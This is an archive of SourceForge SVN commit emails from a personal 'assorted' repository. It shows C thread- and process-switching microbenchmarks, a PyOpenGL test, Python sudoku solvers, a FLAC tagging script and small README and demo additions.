till we may fire away + pthread_mutex_lock(&START); + pthread_mutex_unlock(&START); + int first=1; + + pthread_mutex_lock(&LOCK); + // If I'm not the first thread, the other thread is already waiting on + // the condition, thus Ihave to wake it up first, otherwise we'll deadlock + if (COUNTER > 0) { + pthread_cond_signal(&CONDITION); + first=0; + } + for (;;) { + if (first) COUNTER++; + pthread_cond_wait(&CONDITION, &LOCK); + // Always wake up the other thread before processing. The other + // thread will not be able to do anything as long as I don't go + // back to sleep first. + pthread_cond_signal(&CONDITION); + } + pthread_mutex_unlock(&LOCK); + return 0; +} + +int64_t timeInMS () +{ + struct timeval t; + + gettimeofday(&t, NULL); + return ( + (int64_t)t.tv_sec * 1000 + + (int64_t)t.tv_usec / 1000 + ); +} + + +int main ( + int argc, + char ** argv +) { + int64_t start; + pthread_t t1; + pthread_t t2; + + pthread_mutex_init(&LOCK, NULL); + pthread_mutex_init(&START, NULL); + pthread_cond_init(&CONDITION, NULL); + + pthread_mutex_lock(&START); + COUNTER = 0; + pthread_create(&t1, NULL, threads, NULL); + pthread_create(&t2, NULL, threads, NULL); + pthread_detach(t1); + pthread_detach(t2); + // Get start time and fire away + start = timeInMS(); + pthread_mutex_unlock(&START); + // Wait for about a second + sleep(1); + // Stop both threads + pthread_mutex_lock(&LOCK); + // Find out how much time has really passed. sleep won't guarantee me that + // I sleep exactly one second, I might sleep longer since even after being + // woken up, it can take some time before I gain back CPU time. Further + // some more time might have passed before I obtained the lock! + int64_t time = timeInMS() - start; + // Correct the number of thread switches accordingly + COUNTER = (uint32_t)(((uint64_t)COUNTER * 2 * 1000) / time); + printf("Number of thread switches in about one second was %u\n", COUNTER); + printf("roughly %f microseconds per switch\n", 1000000.0 / COUNTER); + return 0; +} Deleted: sandbox/trunk/src/cc/process_switch_bench.cc =================================================================== --- sandbox/trunk/src/cc/process_switch_bench.cc 2010-05-16 21:39:01 UTC (rev 1665) +++ sandbox/trunk/src/cc/process_switch_bench.cc 2010-05-16 22:08:32 UTC (rev 1666) @@ -1,104 +0,0 @@ -// on zs, ~2.1-2.4us/switch - -#include <stdlib.h> -#include <fcntl.h> -#include <stdint.h> -#include <stdio.h> -#include <semaphore.h> -#include <unistd.h> -#include <sys/wait.h> -#include <sys/types.h> -#include <sys/time.h> -#include <pthread.h> - -uint32_t COUNTER; -pthread_mutex_t LOCK; -pthread_mutex_t START; -sem_t *s0, *s1, *s2; - -void * threads ( - void * unused -) { - // Wait till we may fire away - sem_wait(s2); - - for (;;) { - pthread_mutex_lock(&LOCK); - pthread_mutex_unlock(&LOCK); - COUNTER++; - sem_post(s0); - sem_wait(s1); - } - return 0; -} - -int64_t timeInMS () -{ - struct timeval t; - - gettimeofday(&t, NULL); - return ( - (int64_t)t.tv_sec * 1000 + - (int64_t)t.tv_usec / 1000 - ); -} - -int main ( - int argc, - char ** argv -) { - int64_t start; - pthread_t t1; - - pthread_mutex_init(&LOCK, NULL); - - COUNTER = 0; - s0 = sem_open("/s0", O_CREAT, 0022, 0); - if (s0 == 0) { perror("sem_open"); exit(1); } - s1 = sem_open("/s1", O_CREAT, 0022, 0); - if (s1 == 0) { perror("sem_open"); exit(1); } - s2 = sem_open("/s2", O_CREAT, 0022, 0); - if (s2 == 0) { perror("sem_open"); exit(1); } - - int x, y, z; - sem_getvalue(s0, &x); - sem_getvalue(s1, &y); - sem_getvalue(s2, &z); - printf("%d %d %d\n", x, y, z); - - pid_t pid = fork(); - if (pid) { - pthread_create(&t1, NULL, threads, NULL); - pthread_detach(t1); - // Get start time and fire away - start = timeInMS(); - sem_post(s2); - sem_post(s2); - - // Wait for about a second - sleep(1); - // Stop thread - pthread_mutex_lock(&LOCK); - - // Find out how much time has really passed. sleep won't guarantee me that - // I sleep exactly one second, I might sleep longer since even after being - // woken up, it can take some time before I gain back CPU time. Further - // some more time might have passed before I obtained the lock! - int64_t time = timeInMS() - start; - // Correct the number of thread switches accordingly - COUNTER = (uint32_t)(((uint64_t)COUNTER * 2 * 1000) / time); - printf("Number of process switches in about one second was %u\n", COUNTER); - printf("roughly %f microseconds per switch\n", 1000000.0 / COUNTER); - kill(pid, 9); - wait(0); - sem_close(s0); - sem_close(s1); - sem_unlink("/s0"); - sem_unlink("/s1"); - sem_unlink("/s2"); - } else { - if (1) { sem_t *t = s0; s0 = s1; s1 = t; } - threads((void*)1); - } - return 0; -} Deleted: sandbox/trunk/src/cc/thread_switch_bench.cc =================================================================== --- sandbox/trunk/src/cc/thread_switch_bench.cc 2010-05-16 21:39:01 UTC (rev 1665) +++ sandbox/trunk/src/cc/thread_switch_bench.cc 2010-05-16 22:08:32 UTC (rev 1666) @@ -1,91 +0,0 @@ -// From <http://stackoverflow.com/questions/304752/how-to-estimate-the-thread-context-switching-overhead> - -// on zs, ~4-5us/switch; tried making COUNTER updated only by one thread, but no difference - -#include <stdlib.h> -#include <stdint.h> -#include <stdio.h> -#include <pthread.h> -#include <unistd.h> -#include <sys/time.h> - -uint32_t COUNTER; -pthread_mutex_t LOCK; -pthread_mutex_t START; -pthread_cond_t CONDITION; - -void * threads ( - void * unused -) { - // Wait till we may fire away - pthread_mutex_lock(&START); - pthread_mutex_unlock(&START); - int first=1; - - pthread_mutex_lock(&LOCK); - // If I'm not the first thread, the other thread is already waiting on - // the condition, thus Ihave to wake it up first, otherwise we'll deadlock - if (COUNTER > 0) { - pthread_cond_signal(&CONDITION); - first=0; - } - for (;;) { - if (first) COUNTER++; - pthread_cond_wait(&CONDITION, &LOCK); - // Always wake up the other thread before processing. The other - // thread will not be able to do anything as long as I don't go - // back to sleep first. - pthread_cond_signal(&CONDITION); - } - pthread_mutex_unlock(&LOCK); - return 0; -} - -int64_t timeInMS () -{ - struct timeval t; - - gettimeofday(&t, NULL); - return ( - (int64_t)t.tv_sec * 1000 + - (int64_t)t.tv_usec / 1000 - ); -} - - -int main ( - int argc, - char ** argv -) { - int64_t start; - pthread_t t1; - pthread_t t2; - - pthread_mutex_init(&LOCK, NULL); - pthread_mutex_init(&START, NULL); - pthread_cond_init(&CONDITION, NULL); - - pthread_mutex_lock(&START); - COUNTER = 0; - pthread_create(&t1, NULL, threads, NULL); - pthread_create(&t2, NULL, threads, NULL); - pthread_detach(t1); - pthread_detach(t2); - // Get start time and fire away - start = timeInMS(); - pthread_mutex_unlock(&START); - // Wait for about a second - sleep(1); - // Stop both threads - pthread_mutex_lock(&LOCK); - // Find out how much time has really passed. sleep won't guarantee me that - // I sleep exactly one second, I might sleep longer since even after being - // woken up, it can take some time before I gain back CPU time. Further - // some more time might have passed before I obtained the lock! - int64_t time = timeInMS() - start; - // Correct the number of thread switches accordingly - COUNTER = (uint32_t)(((uint64_t)COUNTER * 2 * 1000) / time); - printf("Number of thread switches in about one second was %u\n", COUNTER); - printf("roughly %f microseconds per switch\n", 1000000.0 / COUNTER); - return 0; -} This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-16 21:39:07
|
Revision: 1665 http://assorted.svn.sourceforge.net/assorted/?rev=1665&view=rev Author: yangzhang Date: 2010-05-16 21:39:01 +0000 (Sun, 16 May 2010) Log Message: ----------- tried thread-switching microbenchmark tweak Modified Paths: -------------- sandbox/trunk/src/cc/thread_switch_bench.cc Modified: sandbox/trunk/src/cc/thread_switch_bench.cc =================================================================== --- sandbox/trunk/src/cc/thread_switch_bench.cc 2010-05-16 21:36:42 UTC (rev 1664) +++ sandbox/trunk/src/cc/thread_switch_bench.cc 2010-05-16 21:39:01 UTC (rev 1665) @@ -1,6 +1,6 @@ // From <http://stackoverflow.com/questions/304752/how-to-estimate-the-thread-context-switching-overhead> -// on zs, ~4-5us/switch +// on zs, ~4-5us/switch; tried making COUNTER updated only by one thread, but no difference #include <stdlib.h> #include <stdint.h> @@ -20,15 +20,17 @@ // Wait till we may fire away pthread_mutex_lock(&START); pthread_mutex_unlock(&START); + int first=1; pthread_mutex_lock(&LOCK); // If I'm not the first thread, the other thread is already waiting on // the condition, thus Ihave to wake it up first, otherwise we'll deadlock if (COUNTER > 0) { pthread_cond_signal(&CONDITION); + first=0; } for (;;) { - COUNTER++; + if (first) COUNTER++; pthread_cond_wait(&CONDITION, &LOCK); // Always wake up the other thread before processing. The other // thread will not be able to do anything as long as I don't go @@ -82,7 +84,7 @@ // some more time might have passed before I obtained the lock! int64_t time = timeInMS() - start; // Correct the number of thread switches accordingly - COUNTER = (uint32_t)(((uint64_t)COUNTER * 1000) / time); + COUNTER = (uint32_t)(((uint64_t)COUNTER * 2 * 1000) / time); printf("Number of thread switches in about one second was %u\n", COUNTER); printf("roughly %f microseconds per switch\n", 1000000.0 / COUNTER); return 0; This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-16 21:36:48
|
Revision: 1664 http://assorted.svn.sourceforge.net/assorted/?rev=1664&view=rev Author: yangzhang Date: 2010-05-16 21:36:42 +0000 (Sun, 16 May 2010) Log Message: ----------- added process-switching and thread-switching microbenchmarks Added Paths: ----------- sandbox/trunk/src/cc/process_switch_bench.cc sandbox/trunk/src/cc/thread_switch_bench.cc Added: sandbox/trunk/src/cc/process_switch_bench.cc =================================================================== --- sandbox/trunk/src/cc/process_switch_bench.cc (rev 0) +++ sandbox/trunk/src/cc/process_switch_bench.cc 2010-05-16 21:36:42 UTC (rev 1664) @@ -0,0 +1,104 @@ +// on zs, ~2.1-2.4us/switch + +#include <stdlib.h> +#include <fcntl.h> +#include <stdint.h> +#include <stdio.h> +#include <semaphore.h> +#include <unistd.h> +#include <sys/wait.h> +#include <sys/types.h> +#include <sys/time.h> +#include <pthread.h> + +uint32_t COUNTER; +pthread_mutex_t LOCK; +pthread_mutex_t START; +sem_t *s0, *s1, *s2; + +void * threads ( + void * unused +) { + // Wait till we may fire away + sem_wait(s2); + + for (;;) { + pthread_mutex_lock(&LOCK); + pthread_mutex_unlock(&LOCK); + COUNTER++; + sem_post(s0); + sem_wait(s1); + } + return 0; +} + +int64_t timeInMS () +{ + struct timeval t; + + gettimeofday(&t, NULL); + return ( + (int64_t)t.tv_sec * 1000 + + (int64_t)t.tv_usec / 1000 + ); +} + +int main ( + int argc, + char ** argv +) { + int64_t start; + pthread_t t1; + + pthread_mutex_init(&LOCK, NULL); + + COUNTER = 0; + s0 = sem_open("/s0", O_CREAT, 0022, 0); + if (s0 == 0) { perror("sem_open"); exit(1); } + s1 = sem_open("/s1", O_CREAT, 0022, 0); + if (s1 == 0) { perror("sem_open"); exit(1); } + s2 = sem_open("/s2", O_CREAT, 0022, 0); + if (s2 == 0) { perror("sem_open"); exit(1); } + + int x, y, z; + sem_getvalue(s0, &x); + sem_getvalue(s1, &y); + sem_getvalue(s2, &z); + printf("%d %d %d\n", x, y, z); + + pid_t pid = fork(); + if (pid) { + pthread_create(&t1, NULL, threads, NULL); + pthread_detach(t1); + // Get start time and fire away + start = timeInMS(); + sem_post(s2); + sem_post(s2); + + // Wait for about a second + sleep(1); + // Stop thread + pthread_mutex_lock(&LOCK); + + // Find out how much time has really passed. sleep won't guarantee me that + // I sleep exactly one second, I might sleep longer since even after being + // woken up, it can take some time before I gain back CPU time. Further + // some more time might have passed before I obtained the lock! + int64_t time = timeInMS() - start; + // Correct the number of thread switches accordingly + COUNTER = (uint32_t)(((uint64_t)COUNTER * 2 * 1000) / time); + printf("Number of process switches in about one second was %u\n", COUNTER); + printf("roughly %f microseconds per switch\n", 1000000.0 / COUNTER); + kill(pid, 9); + wait(0); + sem_close(s0); + sem_close(s1); + sem_unlink("/s0"); + sem_unlink("/s1"); + sem_unlink("/s2"); + } else { + if (1) { sem_t *t = s0; s0 = s1; s1 = t; } + threads((void*)1); + } + return 0; +} Added: sandbox/trunk/src/cc/thread_switch_bench.cc =================================================================== --- sandbox/trunk/src/cc/thread_switch_bench.cc (rev 0) +++ sandbox/trunk/src/cc/thread_switch_bench.cc 2010-05-16 21:36:42 UTC (rev 1664) @@ -0,0 +1,89 @@ +// From <http://stackoverflow.com/questions/304752/how-to-estimate-the-thread-context-switching-overhead> + +// on zs, ~4-5us/switch + +#include <stdlib.h> +#include <stdint.h> +#include <stdio.h> +#include <pthread.h> +#include <unistd.h> +#include <sys/time.h> + +uint32_t COUNTER; +pthread_mutex_t LOCK; +pthread_mutex_t START; +pthread_cond_t CONDITION; + +void * threads ( + void * unused +) { + // Wait till we may fire away + pthread_mutex_lock(&START); + pthread_mutex_unlock(&START); + + pthread_mutex_lock(&LOCK); + // If I'm not the first thread, the other thread is already waiting on + // the condition, thus Ihave to wake it up first, otherwise we'll deadlock + if (COUNTER > 0) { + pthread_cond_signal(&CONDITION); + } + for (;;) { + COUNTER++; + pthread_cond_wait(&CONDITION, &LOCK); + // Always wake up the other thread before processing. The other + // thread will not be able to do anything as long as I don't go + // back to sleep first. + pthread_cond_signal(&CONDITION); + } + pthread_mutex_unlock(&LOCK); + return 0; +} + +int64_t timeInMS () +{ + struct timeval t; + + gettimeofday(&t, NULL); + return ( + (int64_t)t.tv_sec * 1000 + + (int64_t)t.tv_usec / 1000 + ); +} + + +int main ( + int argc, + char ** argv +) { + int64_t start; + pthread_t t1; + pthread_t t2; + + pthread_mutex_init(&LOCK, NULL); + pthread_mutex_init(&START, NULL); + pthread_cond_init(&CONDITION, NULL); + + pthread_mutex_lock(&START); + COUNTER = 0; + pthread_create(&t1, NULL, threads, NULL); + pthread_create(&t2, NULL, threads, NULL); + pthread_detach(t1); + pthread_detach(t2); + // Get start time and fire away + start = timeInMS(); + pthread_mutex_unlock(&START); + // Wait for about a second + sleep(1); + // Stop both threads + pthread_mutex_lock(&LOCK); + // Find out how much time has really passed. sleep won't guarantee me that + // I sleep exactly one second, I might sleep longer since even after being + // woken up, it can take some time before I gain back CPU time. Further + // some more time might have passed before I obtained the lock! + int64_t time = timeInMS() - start; + // Correct the number of thread switches accordingly + COUNTER = (uint32_t)(((uint64_t)COUNTER * 1000) / time); + printf("Number of thread switches in about one second was %u\n", COUNTER); + printf("roughly %f microseconds per switch\n", 1000000.0 / COUNTER); + return 0; +} This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 20:21:13
|
Revision: 1663 http://assorted.svn.sourceforge.net/assorted/?rev=1663&view=rev Author: yangzhang Date: 2010-05-14 20:21:07 +0000 (Fri, 14 May 2010) Log Message: ----------- playing with opengl Added Paths: ----------- sandbox/trunk/src/opengl/ sandbox/trunk/src/opengl/a0.py Added: sandbox/trunk/src/opengl/a0.py =================================================================== --- sandbox/trunk/src/opengl/a0.py (rev 0) +++ sandbox/trunk/src/opengl/a0.py 2010-05-14 20:21:07 UTC (rev 1663) @@ -0,0 +1,41 @@ +from OpenGL.GLUT import * +from OpenGL.GLU import * +from OpenGL.GL import * +import sys + +def display(): + # clear screen + glClearColor(0,0,0,0) + glClear(GL_COLOR_BUFFER_BIT) + + # set camera + glLoadIdentity() + glOrtho(0,1,0,1,-1,1) + + # draw square + glColor3f(1,1,1) + glBegin(GL_POLYGON) + glVertex3f(.25,.25,0) + glVertex3f(.75,.25,0) + glVertex3f(.75,.75,0) + glVertex3f(.25,.75,0) + glEnd() + + #glutSwapBuffers() + glFlush() + +def main(): + glutInit(sys.argv) + #glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH) + glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB) + glutInitWindowSize(400,400) + glutCreateWindow("opengl test") + + glMatrixMode(GL_PROJECTION) + glLoadIdentity() + glOrtho(0,1,0,1,-1,1) + + glutDisplayFunc(display) + glutMainLoop() + +if __name__ == '__main__': sys.exit(main()) This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 19:26:20
|
Revision: 1662 http://assorted.svn.sourceforge.net/assorted/?rev=1662&view=rev Author: yangzhang Date: 2010-05-14 19:26:14 +0000 (Fri, 14 May 2010) Log Message: ----------- removed orchestrator Removed Paths: ------------- orchestrator/ This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 19:20:53
|
Revision: 1661 http://assorted.svn.sourceforge.net/assorted/?rev=1661&view=rev Author: yangzhang Date: 2010-05-14 19:20:47 +0000 (Fri, 14 May 2010) Log Message: ----------- Added sqlhash demo Added Paths: ----------- python-commons/trunk/src/test/sqlhash.py Added: python-commons/trunk/src/test/sqlhash.py =================================================================== --- python-commons/trunk/src/test/sqlhash.py (rev 0) +++ python-commons/trunk/src/test/sqlhash.py 2010-05-14 19:20:47 UTC (rev 1661) @@ -0,0 +1,9 @@ +#!/usr/bin/env python + +from commons import sqlhash +from shelve import * +d = Shelf(sqlhash.SQLhash('/tmp/sh',flags='n'),protocol=2,writeback=1) +d['maxuid']=0 +d.close() +d = Shelf(sqlhash.SQLhash('/tmp/sh',flags='r'),protocol=2) +print d['maxuid'] Property changes on: python-commons/trunk/src/test/sqlhash.py ___________________________________________________________________ Added: svn:executable + * This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 19:16:31
|
Revision: 1660 http://assorted.svn.sourceforge.net/assorted/?rev=1660&view=rev Author: yangzhang Date: 2010-05-14 19:16:25 +0000 (Fri, 14 May 2010) Log Message: ----------- Documented prerequisites Added Paths: ----------- simple-build/trunk/src/README Added: simple-build/trunk/src/README =================================================================== --- simple-build/trunk/src/README (rev 0) +++ simple-build/trunk/src/README 2010-05-14 19:16:25 UTC (rev 1660) @@ -0,0 +1 @@ +Requires jyaml-1.3 This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 19:15:03
|
Revision: 1659 http://assorted.svn.sourceforge.net/assorted/?rev=1659&view=rev Author: yangzhang Date: 2010-05-14 19:14:57 +0000 (Fri, 14 May 2010) Log Message: ----------- Added sudoku solvers Added Paths: ----------- sudoku-solver/trunk/src/easy-solver.py sudoku-solver/trunk/src/hard-solver.py Added: sudoku-solver/trunk/src/easy-solver.py =================================================================== --- sudoku-solver/trunk/src/easy-solver.py (rev 0) +++ sudoku-solver/trunk/src/easy-solver.py 2010-05-14 19:14:57 UTC (rev 1659) @@ -0,0 +1,116 @@ +#!/usr/bin/env python + +""" +This easy solver can only handle the easy sudoku cases. It can't handle boards +that (e.g.) require row/column-group eliminations, and it can't perform deep +exploration. +""" + +import sys + +poss = set(range(1,10)) + +class Cell(object): + def __init__(self, x): + if type(x) == Cell: self.vals = x.vals.copy() + else: self.vals = poss.copy() if x is None else set([x]) + def __eq__(self, c): + return self.vals == c.vals + def get(self): + if len(self.vals) != 1: raise Exception('Cell.vals = %r' % self.vals) + return iter(self.vals).next() + def show(self): + return str( iter(self.vals).next() ) if len(self.vals) == 1 else ' ' + +def show(m): + return '\n'.join( ''.join( m[i,j].show() for j in xrange(9) ) for i in xrange(9) ) + +def showcell(c): + out = {} + for k in xrange(1,10): + out[(k-1)/3, (k-1)%3] = str(k) if k in c.vals else ' ' + return out + +def showfull(m): + out = {} + dim = (9+2)*3+2 + for i in xrange(dim): + for j in xrange(dim): + out[i,j] = ' ' + for i in xrange(dim): + for j in xrange(3,dim,4): + out[i,j] = '\'' + out[j,i] = '\'' + for i in xrange(dim): + for j in xrange(11,dim,12): + out[i,j] = '*' + out[j,i] = '*' + for i in xrange(9): + for j in xrange(9): + c = showcell(m[i,j]) + for k in xrange(3): + for l in xrange(3): + out[4*i + k, 4*j + l] = c[k,l] + out = '\n'.join( ''.join( out[i,j] for j in xrange(dim) ) + for i in xrange(dim) ) + return out + +def intersect(xss): + return reduce(lambda xs,ys: xs.intersection(ys), xss, poss) + +def copym(m): + return dict( (k, Cell(c)) for k,c in m.iteritems() ) + +m = [(line.rstrip() + 9 * ' ')[:9] for line in sys.stdin] +m = dict( ( (i,j), Cell(int(x) if x != ' ' else None) ) + for i in xrange(9) for j in xrange(9) for x in [m[i][j]] ) + +print show(m) + +q = [(i,j) for i in xrange(9) for j in xrange(9) if len(m[i,j].vals) == 1] + +while 1: + oldm = copym(m) + + while q: + i,j = q.pop() + x = m[i,j].get() + print i,j,x + def rm(I,J): + if (I,J) != (i,j): + X = m[I,J].vals + if x in X: + X.remove(x) + assert len(X) > 0 + print 'removed',I,J,X + if len(X) == 1: q.append((I,J)) + for I in xrange(9): rm(I,j) + for J in xrange(9): rm(i,J) + for I in xrange(i/3*3, (i/3+1)*3): + for J in xrange(j/3*3, (j/3+1)*3): + rm(I,J) + + for k,l in m: + v = m[k,l] + if len(v.vals) > 1: + def elimination(xss): + ys = intersect(xss) + if len(ys) == 1: + v.vals = ys + q.append((k,l)) + def take(K,L): return poss - m[K,L].vals if (k,l) != (K,L) else m[K,L].vals + elimination(take(K,l) for K in xrange(9)) + elimination(take(k,L) for L in xrange(9)) + elimination(take(K,L) for K in xrange(k/3*3, (k/3+1)*3) + for L in xrange(l/3*3, (l/3+1)*3)) + + if oldm == m: + for k,l in m: + if len(m[k,l].vals) > 1: + print 'fudging', k,l + m[k,l].vals = set([iter(m[k,l].vals).next()]) + q.append((k,l)) + break + + print showfull(m) + print '==' Property changes on: sudoku-solver/trunk/src/easy-solver.py ___________________________________________________________________ Added: svn:executable + * Added: sudoku-solver/trunk/src/hard-solver.py =================================================================== --- sudoku-solver/trunk/src/hard-solver.py (rev 0) +++ sudoku-solver/trunk/src/hard-solver.py 2010-05-14 19:14:57 UTC (rev 1659) @@ -0,0 +1,72 @@ +#!/usr/bin/env python + +""" +A stab at a general solver; barely started writing this, still WIP. +""" + +import sys + +poss = set(range(1,10)) + +def show(m): + return '\n'.join( ''.join( m[i,j].show() for j in xrange(9) ) for i in xrange(9) ) + +def intersect(xss): + return reduce(lambda xs,ys: xs.intersection(ys), xss, poss) + +def copym(m): + return dict( (k, Cell(c)) for k,c in m.iteritems() ) + +m = [(line.rstrip() + 9 * ' ')[:9] for line in sys.stdin] +m = dict( ( (i,j), int(x) if x != ' ' else None ) + for i in xrange(9) for j in xrange(9) for x in [m[i][j]] ) + +print show(m) + +q = [(i,j) for i in xrange(9) for j in xrange(9) if len(m[i,j].vals) == 1] + +while 1: + oldm = copym(m) + + while q: + i,j = q.pop() + x = m[i,j].get() + print i,j,x + def rm(I,J): + if (I,J) != (i,j): + X = m[I,J].vals + if x in X: + X.remove(x) + assert len(X) > 0 + print 'removed',I,J,X + if len(X) == 1: q.append((I,J)) + for I in xrange(9): rm(I,j) + for J in xrange(9): rm(i,J) + for I in xrange(i/3*3, (i/3+1)*3): + for J in xrange(j/3*3, (j/3+1)*3): + rm(I,J) + + for k,l in m: + v = m[k,l] + if len(v.vals) > 1: + def elimination(xss): + ys = intersect(xss) + if len(ys) == 1: + v.vals = ys + q.append((k,l)) + def take(K,L): return poss - m[K,L].vals if (k,l) != (K,L) else m[K,L].vals + elimination(take(K,l) for K in xrange(9)) + elimination(take(k,L) for L in xrange(9)) + elimination(take(K,L) for K in xrange(k/3*3, (k/3+1)*3) + for L in xrange(l/3*3, (l/3+1)*3)) + + if oldm == m: + for k,l in m: + if len(m[k,l].vals) > 1: + print 'fudging', k,l + m[k,l].vals = set([iter(m[k,l].vals).next()]) + q.append((k,l)) + break + + print showfull(m) + print '==' Property changes on: sudoku-solver/trunk/src/hard-solver.py ___________________________________________________________________ Added: svn:executable + * This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 19:10:21
|
Revision: 1658 http://assorted.svn.sourceforge.net/assorted/?rev=1658&view=rev Author: yangzhang Date: 2010-05-14 19:10:15 +0000 (Fri, 14 May 2010) Log Message: ----------- Added some more dependencies to README Modified Paths: -------------- zdb/trunk/README Modified: zdb/trunk/README =================================================================== --- zdb/trunk/README 2010-05-14 19:09:07 UTC (rev 1657) +++ zdb/trunk/README 2010-05-14 19:10:15 UTC (rev 1658) @@ -8,6 +8,11 @@ ------------ - [Scala Commons] 0.1 +- more + - jscrape + - ostermillerutils_1_06_01 + - javabib + - httpcomponents-client-4.0-alpha1 [Scala Commons]: http://assorted.sf.net/scala-commons/ This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 19:09:13
|
Revision: 1657 http://assorted.svn.sourceforge.net/assorted/?rev=1657&view=rev Author: yangzhang Date: 2010-05-14 19:09:07 +0000 (Fri, 14 May 2010) Log Message: ----------- Sketch of UI Added Paths: ----------- zdb/trunk/doc/ui.txt Added: zdb/trunk/doc/ui.txt =================================================================== --- zdb/trunk/doc/ui.txt (rev 0) +++ zdb/trunk/doc/ui.txt 2010-05-14 19:09:07 UTC (rev 1657) @@ -0,0 +1,21 @@ +Ideas for the UI System +======================= + +.----------------------+------------------------------------------------------, +| | .------------------, | +| Object: | Name: | Natassa Ailamaki | | +| .------------------, | `------------------' | +| | Ai | | .------------------, | +| `------------------' | Employer: | Carnegie Mello...| | +| .------------------, | `------------------' | +| | Natassa Ailamaki | | | +| | CSAIL | | | +| | | | | +| | | | | +| | | | | +| `------------------' | | +| | | +| | | +| | | +| | | +`----------------------+------------------------------------------------------' This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 19:04:41
|
Revision: 1656 http://assorted.svn.sourceforge.net/assorted/?rev=1656&view=rev Author: yangzhang Date: 2010-05-14 19:04:31 +0000 (Fri, 14 May 2010) Log Message: ----------- Added sample.txt Added Paths: ----------- zdb/trunk/sample.txt Added: zdb/trunk/sample.txt =================================================================== --- zdb/trunk/sample.txt (rev 0) +++ zdb/trunk/sample.txt 2010-05-14 19:04:31 UTC (rev 1656) @@ -0,0 +1,64 @@ +names: Word +id: 16 +parents: concept [0] +new properties: + media about this: + type: object set: media [2] + default: + software about this: + type: object set: software [6] + default: + names: + type: string set + default: +hosted software: ODF Converter [23]; Acrobat Office Plug-in [24] + + + +media about this: _ +software about this: _ +names: concept +new properties: + media about this: + default: + type: object set: media (2) + software about this: + default: + type: object set: software (6) + names: + default: (nil) + type: string set + + + +zdb2 +==== + +fully qualified key names? or at least some way to resolve conflicting +property names (I believe properties can already be uniquely identified by +their reverse keys). + + media/topics: _ + software/topics: _ + +actually the above is fine (the merging was originally intended!) + +api + + // raw object manipulation + x.props(k) // prop info + x.vals(k) // prop vals + + // smart object manipulation + def getPropVal(k: String) // return the value of this property + def setPropVal(k: String, v: Val) // create or update the value of this property; compares k with ancestors, removing as necessary + def addPropVal(k: String, v: Val) // create or update the value this property by unioning with new values v + def delPropVal(k: String) // remove a value from this property; also unwire reverse references if values are object references + def getPropInfo(k: String) // return this property (metadata) + def setPropInfo(k: String, p: Prop) // create or update this property; also creates/updates all reverse properties in the relation + def delPropInfo(k: String) // remove a property, all values for it from descendants, and all reverse properties + + // higher-level object manipulation + def getPropVals(k: String) // return the union of the value of this property plus all ancestors' defaults for this property + + //def createRel(o1: Obj, p1: String, o2: Obj, p2: String) // This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 19:00:23
|
Revision: 1655 http://assorted.svn.sourceforge.net/assorted/?rev=1655&view=rev Author: yangzhang Date: 2010-05-14 19:00:17 +0000 (Fri, 14 May 2010) Log Message: ----------- Updated homepage Modified Paths: -------------- shell-tools/trunk/src/bash-commons/assorted.bash Modified: shell-tools/trunk/src/bash-commons/assorted.bash =================================================================== --- shell-tools/trunk/src/bash-commons/assorted.bash 2010-05-14 18:56:07 UTC (rev 1654) +++ shell-tools/trunk/src/bash-commons/assorted.bash 2010-05-14 19:00:17 UTC (rev 1655) @@ -172,7 +172,7 @@ Back to [assorted.sf.net]. -[Yang Zhang]: http://www.mit.edu/~y_z/ +[Yang Zhang]: http://yz.mit.edu/ [assorted.sf.net]: http://assorted.sourceforge.net/ " } This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 18:56:16
|
Revision: 1654 http://assorted.svn.sourceforge.net/assorted/?rev=1654&view=rev Author: yangzhang Date: 2010-05-14 18:56:07 +0000 (Fri, 14 May 2010) Log Message: ----------- Script for converting music filenames to FLAC tags Added Paths: ----------- sandbox/trunk/src/one-off-scripts/cddb-flac-tagger/name2tag.py Added: sandbox/trunk/src/one-off-scripts/cddb-flac-tagger/name2tag.py =================================================================== --- sandbox/trunk/src/one-off-scripts/cddb-flac-tagger/name2tag.py (rev 0) +++ sandbox/trunk/src/one-off-scripts/cddb-flac-tagger/name2tag.py 2010-05-14 18:56:07 UTC (rev 1654) @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +from mutagen.flac import FLAC +from glob import glob +from re import compile + +pat = compile( r'^(?P<title>.+)\((?P<artist>.+)\) - .+ \(.+\) - .+ - .+\(.+\).flac$' ) +for fname in glob( '*.flac' ): + m = pat.match( fname ) + print m.group( 'title' ).strip(), '-', m.group( 'artist' ) + f = FLAC( fname ) + f['album'] = 'The Generals List' + f['title'] = m.group( 'title' ).strip() + f['artist'] = m.group( 'artist' ) + f.save() Property changes on: sandbox/trunk/src/one-off-scripts/cddb-flac-tagger/name2tag.py ___________________________________________________________________ Added: svn:executable + * This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-14 18:55:25
|
